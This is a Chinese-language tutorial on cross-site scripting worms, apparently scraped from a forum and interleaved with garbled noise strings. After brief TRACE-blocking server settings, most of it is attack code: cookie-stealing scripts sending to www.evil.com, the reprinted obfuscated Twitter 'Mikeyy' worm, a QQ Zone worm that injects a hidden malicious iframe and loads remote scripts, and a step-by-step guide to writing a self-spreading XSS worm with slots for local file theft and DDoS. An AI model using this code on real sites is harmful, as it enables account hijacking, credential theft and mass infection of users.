如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

0 `, c3 B& M9 T; Q* _4 R[code]

# N8 ?0 E) u& X) N( z6 f8 S3 rRewriteEngine On
; s. @# D0 S. F7 c6 I
RewriteCond %{REQUEST_METHOD} ^TRACE
* E% T/ s; e8 i5 c* O
RewriteRule .* - [F]


- t8 {/ D( F" L
& l. t$ t# L$ [6 j0 ISquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

7 f' N9 q  K1 n, Pacl TRACE method TRACE
. s# @4 C" u' X! p# k* F) J' f
3 j, q1 x$ k0 E, D...

7 s$ l2 u8 y$ `0 A2 {http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
9 X4 r2 Y! c" E$ c) X( K5 L
9 @( V8 \. d. {' U- C+ O, vvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
/ h: T" c) {- e1 `8 _* B0 S
% W1 s* J8 Q  z4 p) |: ~7 KXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

</script>
" w& W0 g) l% K8 i/ \1 V7 d7 i. w! Y复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

$ s# U1 q0 _. F- Tvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");



( s" n& v( a  a! ]( ^( M* ]) [! MXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
% f  T. Y, @- b! d0 q, M% y
XmlHttp.send(null);
* m- i6 ]2 @2 W" f  ?( s& Z9 I$ A- Q
<script>
* k/ M; B4 P( N  i! S/ W, s  q  W复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
% ^4 i* N+ L4 b. ]& o% ?复制代码案例:Twitter 蠕蟲五度發威
5 I) Y$ @* |+ K3 c1 g第一版:
1 R- E2 q5 h& v# A. P5 C  下载 (5.1 KB)
9 g' t1 k& u2 ~( y
: L! X+ L# I- q! g6 n6 B# M6 天前 08:27
- ^% U0 j4 J, R  O# [
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   

1 P- L7 H' `! h" u* ~! L/ X2 Q! V1 j: }   3. function XHConn(){  
# G" _/ B9 M9 P* F1 z2 S, Z2 x
   4.   var _0x6687x2,_0x6687x3=false;  
- j: k# _+ W, s6 B' e2 _* V
6 G/ R2 O6 Y1 @3 H8 \3 H   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

# ~2 g, Q7 h/ l+ H5 V   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

0 ?% f$ ]* J" U, H) ^/ I3 D% T   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
9 u6 g/ u- K; L) K# ?; E1 H' |复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  
, k4 B* a( ~: s/ B4 V6 M
   3.   var tmp_cookie=document.cookie;  

- z& I& a* c! K) e, f/ U   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
; {  V/ f- E% \* G
) a$ q8 y* h: J" A! W$ e. H' ]! Y   6.   var authtoken=authreg.exec(content);  
% ?; U7 r  o4 V( G, E: h& Q
2 ^" X) d3 B  ^7 a) p   7.   var authtoken=authtoken[1];  
# \8 k( q# z7 \5 t3 r5 m" [( ]; R
* _. [# I8 b2 b+ o   8.   var randomUpdate= new Array();  

" y1 ~1 _8 c! \9 |, ^   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
  n  {+ P& n. Y0 I& g
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
2 Z4 K6 n6 |. O  V5 x$ R
. N7 K9 B; s) V  N  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

' |8 C) ^4 O& p# D# j  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

1 A$ q8 K2 w9 h  i+ n  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
: y) _; p$ S. V- `5 g
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
: o* d% \& C# m
% t# r. U* o+ O, P8 v  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
1 d- Q7 g$ k- `. C- M6 {2 B
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
# t3 R2 F" |! A$ U, ?, ^
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
, n' M6 n% Z; P& D& p6 e. N
2 a: Z  G- y- ]! ~; Y  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
/ ?0 b, ]1 Q7 V
3 n; z1 I4 }; D  24.     

# r' N* e4 Z- H8 n, B! o2 ?  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
6 e5 ~9 Q2 c! o& K; Q
: C& V) |$ I$ S1 s  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  h1 j9 A; I' g; ?( u' p  27.     

2 x1 T, f3 S, I) j  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  
0 G) _, f! d" B! `$ p* b2 A
0 e0 l8 D. }, P  31.   var updateEncode=urlencode(_0xf81bx1c);  
- \! W( z( g( S3 P
  32.   var ajaxConn1= new XHConn();  
8 i7 J# f) b+ M8 G" X
) _7 R, u$ S/ @8 a- K! G  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  

! E' b7 W9 j- q- a  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     

  39. } ;  
+ J; p' ?8 r4 {$ w( X
9 T1 q0 Q9 `2 }9 x& Y0 }  40. setTimeout(wait(),5250);  
; i$ ^: r1 A7 P6 a复制代码QQ空间XSSfunction killErrors() {return true;}

& L4 ]; W6 g% P( b& Y% uwindow.onerror=killErrors;

. y# w2 l+ g( O! U# D% u3 x/ ^
& N6 E& C; l) ^
var shendu;shendu=4;

+ f5 P( l3 A; B- Z' h0 a6 _8 |0 K. u//---------------global---v------------------------------------------
3 U3 B5 o  Z1 |: m" I
: p/ `7 `* ?( r% D& h2 ~//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
  t1 f; l- d) C* `# {  ~, q
  H) h0 d+ Y2 r4 B) m# \4 }, rvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
; D) T6 X( z/ x, r' X
var myblogurl=new Array();var myblogid=new Array();

$ Y% W3 ~. g8 C7 [        var gurl=document.location.href;
2 f, Z' b3 E5 p' G
. w; h; F0 W+ W+ s        var gurle=gurl.indexOf("com/");
0 Q* b7 n, F  q+ O; X3 {% r0 t; X
        gurl=gurl.substring(0,gurle+3);        
( J0 z: ?7 s- C# U8 F/ M0 a/ v' u
        var visitorID=top.document.documentElement.outerHTML;
$ V) V5 E  D/ \1 s& o1 }5 @: a
! ]& X$ U2 R1 m) O" V! f           var cookieS=visitorID.indexOf("g_iLoginUin = ");
7 [$ z4 m) V" h5 c
        visitorID=visitorID.substring(cookieS+14);
  Y+ l; p3 O0 B5 u8 G5 B
/ s$ F, F* j, ]        cookieS=visitorID.indexOf(",");
+ {5 l. z& [* b+ r# \6 ]
        visitorID=visitorID.substring(0,cookieS);

. J4 b4 B& i/ W: o1 l1 K) s        get_my_blog(visitorID);
$ ^+ _. u* ?& O
        DOshuamy();
7 \8 ~1 P& @- t/ z" j* T8 r, ^
3 w- G/ M2 M8 b% b: Z" _

//挂马

function DOshuamy(){

& ]3 J* G5 P; v9 f7 L* J: N# U1 rvar ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

8 X, \5 M$ Z( l5 r* M3 L  t- I6 J}
1 c/ M4 `/ P; E$ m
9 W7 Y4 q$ X2 T

//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
: d: q7 d! i5 n( P; O5 G* Y
) M5 n4 b0 V% v8 l$ T  Ofunction get_my_blog(visitorID){
# D0 A  u( t' \7 r3 ~; G. k
6 w  z. o7 n2 c1 s! p; u   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
" v9 V( ]8 P/ A
   if(xhr){    //成功就执行下面的
/ N5 }. z3 i, G9 R! U5 G
6 F  |, ^8 E4 |: E" ]4 Y     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

( c, P  U2 b" I+ R$ F     xhr.send();guest=xhr.responseText;
2 l. H5 R- k% l# S" t8 T  E* T. A8 y- X
     get_my_blogurl(guest);    //执行这个函数

    }

}


, A9 ?" k2 Z7 ?3 r4 n
//这里似乎是判断没有登录的
0 |1 W4 h3 @) n3 H
function get_my_blogurl(guest){
- Z; V0 o1 h+ K9 |! F
  var mybloglist=guest;
6 z8 [9 m3 E- x$ x8 t7 p) Z
  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
+ q+ F) U, z$ B9 ?
$ S0 F9 J- s+ [: Z; t4 c" t9 P% o     if(myurls!=-1){    //找到了就执行下面的
6 F$ l9 n0 P+ R  W
, c+ D# }1 i! [3 R" [         mybloglist=mybloglist.substring(myurls+11);
6 T& f# w: y$ k7 G" l1 ?% I8 N
* b5 y" t* Q! `- B         myurls=mybloglist.indexOf(')');
/ K* D6 k0 ]9 ?1 c2 P5 n# a
         myblogid=mybloglist.substring(0,myurls);
( c2 U  T0 a, Y
' P5 ?. y/ g& P  b  [! z4 Q        }else{break;}
7 U; B+ u/ \; h( {
2 W# {# S/ _) i3 U/ C1 f0 ~( p' H8 r}

0 _4 _* X; h$ F) w: o* N1 W' C0 k' Nget_my_testself();    //执行这个函数

}
/ U8 W# G: J6 e


; C. C* G  A  r4 a//这里往哪跳就不知道了
# m; }5 ^! z8 b/ V! C/ D) C; W
function get_my_testself(){
0 t2 E2 c- o9 z. i0 u# D5 }
( z- a: T& G* o7 C; H6 v  for(i=0;i<myblogid.length;i++){    //获得blogid的值
% W5 @& i" _: Z: J/ x0 c3 ]9 ?
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
; c5 _+ }4 _' p* W; M/ ?2 r' X
" s% d, C0 O9 N) T' J, F      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功

; ?) t8 }3 @4 W- v. J              xhr2.open("GET",url,false);     //打开上面的那个url

$ p/ ~. d% h! S              xhr2.send();

              guest2=xhr2.responseText;
1 y# {6 _9 F4 j
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

! \$ O- T; W  A8 V  L; y8 O9 r3 t6 E              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
" T8 W' F" o. M1 f7 D9 P
( m7 X/ T* l% g9 V/ n+ ^; F              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
% r+ y4 a) P4 G8 K. f
& P/ T  K& a- E6 }                targetblogurlid=myblogid;   
. u! `* @' v* Q; p. }
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
: e0 R1 ^; T/ I6 t, k3 ]' q
; D9 c* R8 n9 x/ N                break;

               }

              if(mycheckit=="-1"){
8 x# S! t/ q( d$ ~8 F! L  W9 H
                targetblogurlid=myblogid;

& t( I$ o( p3 t                add_js(visitorID,targetblogurlid,gurl);    //执行它
+ D$ x" k7 U; f1 j4 D1 {$ R% ]
                break;

9 r9 |# z/ ?5 U% ?2 T  a               }
3 G* C2 u/ ]1 Z
        }      

6 @$ A! T# O6 _0 v8 h}

}

, ]/ C: U( D) `
2 V/ w2 \& B: Q# A. G) v$ \1 ~
//--------------------------------------  

( x) X/ n& x( @5 a4 \3 t5 s2 X( m//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){
* J' n. s8 W5 w
' v$ I/ q! m9 s( W    var XMLhttpObject=null;  

; m3 G) u3 n" J* O' `    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
- q  M; ?, Z) _8 Q8 R% }: A/ G9 ^; ?+ v
    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

$ |% \! D, ?: d' f        for(var i=0;i<MSXML.length;i++)  
- ^' R) R6 Z8 l$ R/ \. y$ s4 q
) i# n9 R$ v; N' V3 N- a! y        {  
7 M. E4 T) K# z/ e
/ |/ g1 G% G1 n' x- Y            try  
: i7 ]; Q5 B  |; Y/ Q6 }2 G7 W8 z
3 T+ l% h- Z" T; Y5 i  r+ {# @" ~( g            {  
* q% C* Y& [: D1 e
( [: {) m* S8 L) B: T) `                XMLhttpObject=new ActiveXObject(MSXML);  
) V7 }4 p/ {% U2 w+ O8 @- X
                break;  

            }  
5 o# ^: r4 ~( K- g
2 j) m+ {; ?$ B5 p: e! h* K            catch (ex) {  

            }  

/ p: S1 _- Z+ q3 n: x% d         }  

0 N, E( \7 S  G# i9 k. u' o      }
' d) E* Z& J% i7 [( f7 F
return XMLhttpObject;

5 s) V7 g" o5 Y! \}  



& z% O, U9 c3 H: J/ Q' {7 O4 E//这里就是感染部分了
8 N* Y, f. D- _& L
function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
4 ]% r( K9 t6 r1 |
s2.type='text/javascript';

6 w( d# d' N. |. w& Mdocument.getElementsByTagName('head').item(0).appendChild(s2);

}

' K7 y* ]" `- r& S
9 s/ R' o6 r6 X: ~2 _
3 [) U7 s0 K7 X: ^# }function add_jsdel(visitorID,targetblogurlid,gurl){

8 d& Q1 v: A) l3 ]/ Q3 c- mvar s2=document.createElement('script');
) u  F" B( z4 h, z; W! o  P
5 V" U% g4 ?: G3 Z8 Ls2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
- g' n' |9 [8 g+ o2 D
s2.type='text/javascript';
- K- Q4 Z& q8 d2 s' W+ T  |: [" w: D
document.getElementsByTagName('head').item(0).appendChild(s2);

! I% e& K6 @4 F}
( m2 c6 p. Y4 _& V复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

! F5 O' k5 ]) H  o5 h5 G2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
1 g1 |1 B9 k) D9 k8 \. K9 x# l6 a

下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
/ t4 E* x$ s0 g3 b3 s, H
3 y2 w) r$ w& r* k首先,自然是判断不同浏览器,创建不同的对象var request = false;
9 F3 Y/ `) B+ O0 A5 @
if(window.XMLHttpRequest) {
# v  _) A3 e# c  R
request = new XMLHttpRequest();

2 _$ k! r3 E7 i  [0 ]' I' Xif(request.overrideMimeType) {
% r  b6 ], \  @7 ^% d
6 \8 b$ h. s6 D( Y) a6 ]/ srequest.overrideMimeType('text/xml');
' _9 d. T2 c5 [! y9 R( ]
}
4 r3 y3 O  }1 i" G5 M$ k
$ p" i1 B1 `& _. i8 d9 L$ t5 G% B} else if(window.ActiveXObject) {
  C5 C) e5 R2 k! j$ K# Y! v
$ g( X0 y; h! H; z$ f/ Ivar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {
9 K% s/ u3 p+ u1 D6 n# L
try {
$ H) G0 C6 W: S- O' a+ p
/ h) O0 B0 p& n- w2 _0 \request = new ActiveXObject(versions);
1 ]8 r0 n, |& Q3 d" D
/ F0 _+ y- V$ Z) r  t} catch(e) {}

: S- I- A* l/ o1 d; I/ n) D}
; D& x6 Y0 F  }2 Z, ^: P' X
. l; G" _5 X4 [& V0 A' S}
+ s( T- ~; c% s- g
0 R, D5 k: ]3 }- g) t" G+ x( K* ?xmlHttpReq=request;
. ~+ h" O& h1 O: c4 f复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

$ q3 o" X' B) @1 R9 E7 t        var Browser_Name=navigator.appName;

' z+ A! \  J' Q* p; j0 v        var Browser_Version=parseFloat(navigator.appVersion);

6 k" m4 G+ P9 G: M, W- _        var Browser_Agent=navigator.userAgent;
# g: Q1 |* o3 h/ K
1 T+ c% s( Y, v        
3 ?: g  A) ~" A2 ~. r
2 s% G7 }% j' Y$ m        var Actual_Version,Actual_Name;
% a( V  m4 k$ l9 j7 W) W, y" h/ f
6 p/ S& p% @6 V5 I4 r) Q( N        
4 y5 ^% K' O. G8 ?* `
        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
# U/ |7 N) o1 V- c
. J$ T/ k: E( {2 V/ v& l2 Q" I4 M        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

        

, R* U4 V# |7 L% X3 j. ~( C; ]        if(is_NN){

            if(Browser_Version>=5.0){

+ N' V% N( ?0 s: m$ ]1 w                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
. V& i( ^" J  V( }& `) R! K  r
, I, `9 q: N' |- ^5 X                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
; ]2 z8 ^9 _! W& K  u
8 z' W: ~; }- I; E* v' D3 n

                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
; Q6 Y1 N7 r' N9 Y* |
6 r( E# c$ Y7 ^/ a/ H( j. m                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }

$ z/ p/ O7 _' l$ b# t# J" R0 W            else{
* _* Y4 u- x. x
                Actual_Version=Browser_Version;

  |7 Z- y( y. F) w5 H                Actual_Name=Browser_Name;

; m! a9 Z# \  m' Q            }
% z: g- E0 H% D
        }

        else if(is_IE){
) B5 Q: |4 }0 R4 V  k0 O& g. O
            var Version_Start=Browser_Agent.indexOf("MSIE");

1 G% D5 _8 p: Q            var Version_End=Browser_Agent.indexOf(";",Version_Start);
2 x' Y4 j- [$ Y
0 A! q' R3 R/ @0 z  S) T            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
. M  r1 ?  L) E% O2 s4 X
- J% q: R9 u1 N. u4 j8 x. C            
3 V5 S- e% G8 o! Y2 |( I, l
            if(Browser_Agent.indexOf("Maxthon")!=-1){

! Y% {/ {, G* D6 R                Actual_Name+="(Maxthon)";

            }

) m- f6 ^" N& {. }1 M            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

6 w  w0 _; o$ B, L6 |6 E                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
3 `  K$ t  R' [
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
' Q* _( s# K/ v3 M# N
            }
1 d0 U+ T% C# Q- M* ?
: R) v8 K- A9 X, b        }
& w5 Z! a( g! n6 ~( L4 }" g
        else if(is_Ch){
0 q! l/ n  o4 K2 @+ v/ G' \
            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
5 I5 j+ t9 y. m
' Z, O. k; A: P0 `  a2 W+ v            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

4 s$ `1 A$ ~9 s- S: |" M            Actual_Name=Browser_Name;
6 u, q6 F3 f3 _% `
6 s5 R1 v& T4 ]/ {            

' o/ e3 ~: b8 \( z: S: D            if(Browser_Agent.indexOf("Maxthon")!=-1){

$ _3 G+ ]) T9 K1 u3 ]5 B, E' o. e3 {                Actual_Name+="(Maxthon)";

4 S5 }8 u$ Y# B* Q' T            }

% H+ m' B$ a2 L% S6 Z4 b            else if(Browser_Agent.indexOf("Opera")!=-1){
& ]/ @5 u4 @4 C7 {9 ^7 O
                Actual_Name="Opera";

- Z5 n3 {. A$ R2 C1 E* @                var tempstart=Browser_Agent.indexOf("Opera");

) C/ u& Y( O% S$ e0 j  V                var tempend=Browser_Agent.length;
1 C! ~3 _$ u$ j  ^4 o, `7 p
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

$ C* [! f3 J7 d2 H' z            }
/ h$ t  h8 v0 u. G. f
0 K/ i, w  Z' R$ X& [        }

4 d6 c2 C4 [- k  d0 l+ P+ Q: g        else{
- h- `* A7 M0 |( i& d# L( G
; J( u$ W5 I# Q) Z            Actual_Name="Unknown Navigator"
3 _  ^8 i8 g+ U9 A$ |9 @
            Actual_Version="Unknown Version"

$ j  r# i$ l0 {8 ^        }
7 Q' Z1 Y4 @7 y1 ]5 w0 T

* ]: Z1 x8 t/ {* o- n
7 x6 |" v  y0 E) ^0 h        navigator.Actual_Name=Actual_Name;

% Q, I2 @4 f/ g& W        navigator.Actual_Version=Actual_Version;
# n, h1 t2 x4 i2 K6 r
  S! o6 T- Q: H7 S1 n0 r. E9 c( V9 g        

        this.Name=Actual_Name;

$ R, r* X( l5 m( [1 }$ z5 W        this.Version=Actual_Version;
$ |) M, ~7 a$ Y, E) R8 X$ q
    }
9 I1 r9 ?* b! Y/ r6 B
/ O0 X/ |4 c* B4 W    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
& d& G+ L9 i+ |9 B& d
; M5 k5 ^: G; A; h: y    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
% e% g# |) h/ d8 S. e" O8 \1 c" k. P
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
4 `6 b% A1 F0 H/ f
$ a1 K6 X1 X* j3 x2 M: O6 m    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
8 F* e6 S- O- j6 p6 G" A( ]0 a! U9 i复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

; |  p8 O5 I0 u1 u. IxmlHttpReq.send(null);

$ ^) B" }8 \. Svar resource = xmlHttpReq.responseText;

var id=0;var result;
# t# k* C5 c1 L! E4 X: l) h
  r9 ^2 e; ?1 r* Z) Q. w. Ovar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

9 f8 M  D' b5 o, ]2 s9 c; [while ((result = patt.exec(resource)) != null)  {
; ?% b8 |" V6 G' {3 W" h# l' p$ x5 g
1 j+ z2 ^4 ^2 Q! xid++;

}
/ V/ u$ f8 u! Y& S7 l复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
  w5 i* c7 A3 Y/ t# A3 w  ~2 _4 c$ N
var post="wd="+wd;
' Y7 y& Z1 M5 k3 P
0 @/ D0 X7 Y* ^8 QxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

) {0 k5 Z; \) K/ yxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
, q# w( o# X' [8 D- F6 g" K  V
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
9 I. z" }' F' f( X" J
xmlHttpReq.send(post);
7 Y0 m' P: Y; x# a: T
( J! _, u* }! p8 i$ C}
8 A9 o2 l5 f. V复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

! u0 q/ \! |  v" A8 E# M# [var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

9 x5 m0 s( {! N2 Z: J4 Dvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

: w9 g/ |* J' x- ?% \% Kvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
) h( U" `2 B/ L$ Z0 O) v  _
0 @; t: a% H. T! n  L" W/ h& Bvar post="wd="+wd;

" e7 D2 A- G/ i# UxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

